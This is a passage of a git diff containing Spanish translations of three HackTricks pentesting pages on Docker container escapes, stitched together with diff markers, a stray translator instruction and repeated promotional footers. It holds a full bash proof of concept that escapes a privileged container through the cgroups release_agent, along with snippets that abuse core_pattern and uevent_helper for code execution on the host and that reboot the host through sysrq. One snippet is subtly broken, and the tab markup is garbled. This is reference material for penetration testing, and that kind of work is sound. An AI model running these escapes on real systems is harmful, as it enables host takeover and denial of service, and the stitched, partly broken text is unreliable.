|
||||
No se debe traducir el término "Host" ya que es un término técnico que se utiliza en español tal cual.
|
||||
```bash
|
||||
root@host:~$ COUNTER=1
|
||||
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
|
||||
root@host:~$ echo ${COUNTER}
|
||||
7822
|
||||
root@host:~$ cat /proc/${COUNTER}/root/findme
|
||||
findme
|
||||
```
|
||||
## Poniéndolo Todo Junto <a href="#putting-it-all-together" id="putting-it-all-together"></a>
|
||||
|
||||
Para completar este ataque, se puede utilizar la técnica de fuerza bruta para **adivinar el PID para la ruta `/proc/<pid>/root/payload.sh`**, con **cada iteración** escribiendo la ruta de PID adivinada **en el archivo `release_agent` de los cgroups, activando el `release_agent`**, y viendo si se crea un archivo de salida.
|
||||
|
||||
La única advertencia con esta técnica es que no es sutil de ninguna manera, y puede aumentar mucho el recuento de PID. Como no se mantienen procesos de larga duración en ejecución, esto _no debería_ causar problemas de confiabilidad, pero no me cites en eso.
|
||||
|
||||
El siguiente PoC implementa estas técnicas para proporcionar un ataque más genérico que el presentado por primera vez en el PoC original de Felix para escapar de un contenedor privilegiado utilizando la funcionalidad del archivo `release_agent` de los **cgroups**:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
OUTPUT_DIR="/"
|
||||
MAX_PID=65535
|
||||
CGROUP_NAME="xyx"
|
||||
CGROUP_MOUNT="/tmp/cgrp"
|
||||
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
|
||||
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
|
||||
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
|
||||
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
|
||||
|
||||
# Run a process for which we can search for (not needed in reality, but nice to have)
|
||||
sleep 10000 &
|
||||
|
||||
# Prepare the payload script to execute on the host
|
||||
cat > ${PAYLOAD_PATH} << __EOF__
|
||||
#!/bin/sh
|
||||
|
||||
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
|
||||
|
||||
# Commands to run on the host<
|
||||
ps -eaf > \${OUTPATH} 2>&1
|
||||
__EOF__
|
||||
|
||||
# Make the payload script executable
|
||||
chmod a+x ${PAYLOAD_PATH}
|
||||
|
||||
# Set up the cgroup mount using the memory resource cgroup controller
|
||||
mkdir ${CGROUP_MOUNT}
|
||||
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
|
||||
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
|
||||
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
||||
|
||||
# Brute force the host pid until the output path is created, or we run out of guesses
|
||||
TPID=1
|
||||
while [ ! -f ${OUTPUT_PATH} ]
|
||||
do
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
done
|
||||
|
||||
# Wait for and cat the output
|
||||
sleep 1
|
||||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
Ejecutar el PoC dentro de un contenedor privilegiado debería proporcionar una salida similar a:
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
Checking pid 200
|
||||
Checking pid 300
|
||||
Checking pid 400
|
||||
Checking pid 500
|
||||
Checking pid 600
|
||||
Checking pid 700
|
||||
Checking pid 800
|
||||
Checking pid 900
|
||||
Checking pid 1000
|
||||
Checking pid 1100
|
||||
Checking pid 1200
|
||||
|
||||
Done! Output:
|
||||
UID PID PPID C STIME TTY TIME CMD
|
||||
root 1 0 0 11:25 ? 00:00:01 /sbin/init
|
||||
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
|
||||
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
|
||||
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
|
||||
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
|
||||
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
|
||||
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
||||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
# Referencias
|
||||
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,179 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
(_**Esta información fue tomada de**_ [_**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**_](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts))
|
||||
|
||||
Debido a la falta de soporte de namespace, la exposición de `/proc` y `/sys` ofrece una fuente de superficie de ataque significativa y divulgación de información. Numerosos archivos dentro de `procfs` y `sysfs` ofrecen un riesgo de escape de contenedor, modificación de host o divulgación de información básica que podría facilitar otros ataques.
|
||||
|
||||
Para abusar de estas técnicas, podría ser suficiente con **configurar algo mal como `-v /proc:/host/proc`** ya que AppArmor no protege `/host/proc` porque **AppArmor se basa en la ruta**.
|
||||
|
||||
# procfs
|
||||
|
||||
## /proc/sys
|
||||
|
||||
`/proc/sys` permite típicamente el acceso para modificar variables del kernel, a menudo controladas a través de `sysctl(2)`.
|
||||
|
||||
### /proc/sys/kernel/core\_pattern
|
||||
|
||||
[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html) define un programa que se ejecuta en la generación de archivos de núcleo (típicamente un fallo del programa) y se pasa el archivo de núcleo como entrada estándar si el primer carácter de este archivo es un símbolo de tubería `|`. Este programa se ejecuta por el usuario root y permitirá hasta 128 bytes de argumentos de línea de comandos. Esto permitiría la ejecución trivial de código dentro del host del contenedor dado cualquier fallo y generación de archivo de núcleo (que se puede descartar fácilmente durante una miríada de acciones maliciosas).
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes #For testing
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern
|
||||
sleep 5 && ./crash &
|
||||
```
|
||||
### /proc/sys/kernel/modprobe
|
||||
|
||||
[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) contiene la ruta al cargador de módulos del kernel, que se llama al cargar un módulo del kernel como a través del comando [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html). La ejecución de código se puede obtener realizando cualquier acción que haga que el kernel intente cargar un módulo del kernel (como usar la cripto-API para cargar un módulo de criptografía actualmente no cargado, o usar ifconfig para cargar un módulo de red para un dispositivo que no se está utilizando actualmente).
|
||||
```bash
|
||||
# Check if you can directly access modprobe
|
||||
ls -l `cat /proc/sys/kernel/modprobe`
|
||||
```
|
||||
### /proc/sys/vm/panic\_on\_oom
|
||||
|
||||
[/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html) es una bandera global que determina si el kernel entrará en pánico cuando se alcance una condición de falta de memoria (OOM) (en lugar de invocar al OOM killer). Esto es más un ataque de denegación de servicio (DoS) que una fuga de contenedor, pero no deja de exponer una capacidad que solo debería estar disponible para el host.
|
||||
|
||||
### /proc/sys/fs
|
||||
|
||||
El directorio [/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) contiene una serie de opciones e información sobre varios aspectos del sistema de archivos, incluyendo cuotas, manejo de archivos, información de inodos y dentries. El acceso de escritura a este directorio permitiría varios ataques de denegación de servicio contra el host.
|
||||
|
||||
### /proc/sys/fs/binfmt\_misc
|
||||
|
||||
[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html) permite la ejecución de formatos binarios diversos, lo que generalmente significa que se pueden registrar varios **intérpretes para formatos binarios no nativos** (como Java) basados en su número mágico. Puede hacer que el kernel ejecute un binario registrándolo como manejadores.\
|
||||
Puede encontrar una explotación en [https://github.com/toffan/binfmt\_misc](https://github.com/toffan/binfmt\_misc): _Rootkit de hombre pobre, aprovecha la opción_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt\_misc.txt#L62) _de_ [_binfmt\_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst) _para escalar privilegios a través de cualquier binario suid (y obtener una shell de root) si `/proc/sys/fs/binfmt_misc/register` es escribible._
|
||||
|
||||
Para obtener una explicación más detallada de esta técnica, consulte [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
## /proc/config.gz
|
||||
|
||||
[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) dependiendo de la configuración `CONFIG_IKCONFIG_PROC`, esto expone una versión comprimida de las opciones de configuración del kernel para el kernel en ejecución. Esto puede permitir que un contenedor comprometido o malintencionado descubra y apunte fácilmente a áreas vulnerables habilitadas en el kernel.
|
||||
|
||||
## /proc/sysrq-trigger
|
||||
|
||||
`Sysrq` es un mecanismo antiguo que se puede invocar a través de una combinación especial de teclas `SysRq`. Esto puede permitir un reinicio inmediato del sistema, emisión de `sync(2)`, remontaje de todos los sistemas de archivos como solo lectura, invocación de depuradores del kernel y otras operaciones.
|
||||
|
||||
Si el invitado no está correctamente aislado, puede activar los comandos [sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html) escribiendo caracteres en el archivo `/proc/sysrq-trigger`.
|
||||
```bash
|
||||
# Reboot the host
|
||||
echo b > /proc/sysrq-trigger
|
||||
```
|
||||
## /proc/kmsg
|
||||
|
||||
[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) puede exponer mensajes del buffer de anillo del kernel que normalmente se acceden a través de `dmesg`. La exposición de esta información puede ayudar en la explotación del kernel, desencadenar fugas de direcciones del kernel (que podrían usarse para ayudar a derrotar la aleatorización del espacio de direcciones del kernel (KASLR)) y ser una fuente de divulgación general de información sobre el kernel, hardware, paquetes bloqueados y otros detalles del sistema.
|
||||
|
||||
## /proc/kallsyms
|
||||
|
||||
[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) contiene una lista de símbolos exportados del kernel y sus ubicaciones de dirección para módulos dinámicos y cargables. Esto también incluye la ubicación de la imagen del kernel en la memoria física, lo que es útil para el desarrollo de la explotación del kernel. A partir de estas ubicaciones, se puede ubicar la dirección base o el desplazamiento del kernel, que se puede usar para superar la aleatorización del espacio de direcciones del kernel (KASLR).
|
||||
|
||||
Para sistemas con `kptr_restrict` establecido en `1` o `2`, este archivo existirá pero no proporcionará ninguna información de dirección (aunque el orden en que se enumeran los símbolos es idéntico al orden en la memoria).
|
||||
|
||||
## /proc/\[pid]/mem
|
||||
|
||||
[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) expone interfaces al dispositivo de memoria del kernel `/dev/mem`. Si bien el PID Namespace puede proteger contra algunos ataques a través de este vector `procfs`, esta área ha sido históricamente vulnerable, luego se consideró segura y nuevamente se descubrió que era [vulnerable](https://git.zx2c4.com/CVE-2012-0056/about/) para la escalada de privilegios.
|
||||
|
||||
## /proc/kcore
|
||||
|
||||
[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) representa la memoria física del sistema y está en un formato de núcleo ELF (que se encuentra típicamente en archivos de volcado de núcleo). No permite escribir en dicha memoria. La capacidad de leer este archivo (restringido a usuarios privilegiados) puede filtrar el contenido de la memoria del sistema anfitrión y otros contenedores.
|
||||
|
||||
El tamaño de archivo informado grande representa la cantidad máxima de memoria físicamente direccionable para la arquitectura y puede causar problemas al leerlo (o fallas dependiendo de la fragilidad del software).
|
||||
|
||||
[Volcado de /proc/kcore en 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)
|
||||
|
||||
## /proc/kmem
|
||||
|
||||
`/proc/kmem` es una interfaz alternativa para [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html) (acceso directo al cual está bloqueado por la lista blanca del dispositivo cgroup), que es un archivo de dispositivo de caracteres que representa la memoria virtual del kernel. Permite tanto la lectura como la escritura, lo que permite la modificación directa de la memoria del kernel.
|
||||
|
||||
## /proc/mem
|
||||
|
||||
`/proc/mem` es una interfaz alternativa para [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html) (acceso directo al cual está bloqueado por la lista blanca del dispositivo cgroup), que es un archivo de dispositivo de caracteres que representa la memoria física del sistema. Permite tanto la lectura como la escritura, lo que permite la modificación de toda la memoria. (Requiere un poco más de habilidad que `kmem`, ya que primero se deben resolver las direcciones virtuales a direcciones físicas).
|
||||
|
||||
## /proc/sched\_debug
|
||||
|
||||
`/proc/sched_debug` es un archivo especial que devuelve información de programación de procesos para todo el sistema. Esta información incluye nombres de procesos e identificadores de procesos de todas las namespaces, además de identificadores de cgroups de procesos. Esto efectivamente evita las protecciones del PID namespace y es legible por otros/mundo, por lo que también se puede explotar en contenedores no privilegiados.
|
||||
|
||||
## /proc/\[pid]/mountinfo
|
||||
|
||||
[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) contiene información sobre los puntos de montaje en el espacio de nombres de montaje del proceso. Expone la ubicación del `rootfs` o imagen del contenedor.
|
||||
|
||||
# sysfs
|
||||
|
||||
## /sys/kernel/uevent\_helper
|
||||
|
||||
Los `uevents` son eventos desencadenados por el kernel cuando se agrega o elimina un dispositivo. Es notable que la ruta para el `uevent_helper` se puede modificar escribiendo en `/sys/kernel/uevent_helper`. Luego, cuando se desencadena un `uevent` (que también se puede hacer desde el espacio de usuario escribiendo en archivos como `/sys/class/mem/null/uevent`), se ejecuta el `uevent_helper` malicioso.
|
||||
```bash
|
||||
# Creates a payload
|
||||
cat "#!/bin/sh" > /evil-helper
|
||||
cat "ps > /output" >> /evil-helper
|
||||
chmod +x /evil-helper
|
||||
# Finds path of OverlayFS mount for container
|
||||
# Unless the configuration explicitly exposes the mount point of the host filesystem
|
||||
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
# Sets uevent_helper to /path/payload
|
||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||
# Triggers a uevent
|
||||
echo change > /sys/class/mem/null/uevent
|
||||
# or else
|
||||
# echo /sbin/poweroff > /sys/kernel/uevent_helper
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
## /sys/class/thermal
|
||||
|
||||
Acceso a ACPI y varios ajustes de hardware para el control de temperatura, típicamente encontrados en laptops o placas madre de gaming. Esto puede permitir ataques DoS contra el host del contenedor, lo que incluso puede llevar a daños físicos.
|
||||
|
||||
## /sys/kernel/vmcoreinfo
|
||||
|
||||
Este archivo puede filtrar direcciones del kernel que podrían ser utilizadas para derrotar KASLR.
|
||||
|
||||
## /sys/kernel/security
|
||||
|
||||
En `/sys/kernel/security` se monta la interfaz `securityfs`, que permite la configuración de los Módulos de Seguridad de Linux. Esto permite la configuración de las políticas de [AppArmor](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor), y por lo tanto, el acceso a esto puede permitir que un contenedor deshabilite su sistema MAC.
|
||||
|
||||
## /sys/firmware/efi/vars
|
||||
|
||||
`/sys/firmware/efi/vars` expone interfaces para interactuar con las variables EFI en NVRAM. Aunque esto no es típicamente relevante para la mayoría de los servidores, EFI se está volviendo cada vez más popular. Debilidades en los permisos incluso han llevado a algunos laptops inutilizables.
|
||||
|
||||
## /sys/firmware/efi/efivars
|
||||
|
||||
`/sys/firmware/efi/efivars` proporciona una interfaz para escribir en la NVRAM utilizada para los argumentos de arranque UEFI. Modificarlos puede hacer que la máquina host no se pueda arrancar.
|
||||
|
||||
## /sys/kernel/debug
|
||||
|
||||
`debugfs` proporciona una interfaz "sin reglas" mediante la cual el kernel (o los módulos del kernel) pueden crear interfaces de depuración accesibles a userland. Ha tenido varios problemas de seguridad en el pasado, y las directrices "sin reglas" detrás del sistema de archivos a menudo han chocado con las restricciones de seguridad.
|
||||
|
||||
# Referencias
|
||||
|
||||
* [Comprendiendo y endureciendo los contenedores de Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abusando de contenedores de Linux privilegiados y no privilegiados](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,222 @@
|
|||
## Docker --privileged
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Qué afecta
|
||||
|
||||
Cuando ejecutas un contenedor como privilegiado, estas deshabilitando las siguientes protecciones:
|
||||
|
||||
### Montar /dev
|
||||
|
||||
En un contenedor privilegiado, todos los **dispositivos pueden ser accedidos en `/dev/`**. Por lo tanto, puedes **escapar** montando el disco del host.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Dentro del contenedor predeterminado" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
ls /dev
|
||||
console fd mqueue ptmx random stderr stdout urandom
|
||||
core full null pts shm stdin tty zero
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Dentro del contenedor privilegiado" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
ls /dev
|
||||
cachefiles mapper port shm tty24 tty44 tty7
|
||||
console mem psaux stderr tty25 tty45 tty8
|
||||
core mqueue ptmx stdin tty26 tty46 tty9
|
||||
cpu nbd0 pts stdout tty27 tty47 ttyS0
|
||||
[...]
|
||||
```
|
||||
### Sistemas de archivos de kernel de solo lectura
|
||||
|
||||
Los sistemas de archivos de kernel proporcionan un mecanismo para que un proceso altere la forma en que se ejecuta el kernel. Por defecto, no queremos que los procesos del contenedor modifiquen el kernel, por lo que montamos los sistemas de archivos de kernel como de solo lectura dentro del contenedor.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Dentro del contenedor por defecto" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep '(ro'
|
||||
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
|
||||
cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
|
||||
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
|
||||
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Dentro del contenedor privilegiado" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
mount | grep '(ro'
|
||||
```
|
||||
{% endtab %}
|
||||
{% tab title="Enmascaramiento de sistemas de archivos del kernel" %}
|
||||
|
||||
El sistema de archivos **/proc** es consciente del espacio de nombres y se pueden permitir ciertas escrituras, por lo que no lo montamos en solo lectura. Sin embargo, se deben **proteger de la escritura** directorios específicos en el sistema de archivos /proc y, en algunos casos, **de la lectura**. En estos casos, los motores de contenedores montan sistemas de archivos **tmpfs** sobre directorios potencialmente peligrosos, evitando que los procesos dentro del contenedor los utilicen.
|
||||
|
||||
{% hint style="info" %}
|
||||
**tmpfs** es un sistema de archivos que almacena todos los archivos en memoria virtual. tmpfs no crea ningún archivo en su disco duro. Por lo tanto, si desmonta un sistema de archivos tmpfs, todos los archivos que residen en él se pierden para siempre.
|
||||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Dentro del contenedor predeterminado" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep /proc.*tmpfs
|
||||
tmpfs on /proc/acpi type tmpfs (ro,relatime)
|
||||
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Dentro del contenedor privilegiado" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
mount | grep /proc.*tmpfs
|
||||
```
|
||||
{% endtab %}
|
||||
{% tab title="Dentro del contenedor por defecto" %}
|
||||
|
||||
Los motores de contenedores lanzan los contenedores con un **número limitado de capacidades** para controlar lo que sucede dentro del contenedor de forma predeterminada. Los privilegiados tienen **todas** las **capacidades** accesibles. Para aprender sobre las capacidades, lee:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
apk add -U libcap; capsh --print
|
||||
[...]
|
||||
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=eip
|
||||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
[...]
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Dentro del contenedor privilegiado" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
apk add -U libcap; capsh --print
|
||||
[...]
|
||||
Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip
|
||||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
|
||||
[...]
|
||||
```
|
||||
{% endtab %}
|
||||
{% tab title="Manipulación de capacidades" %}
|
||||
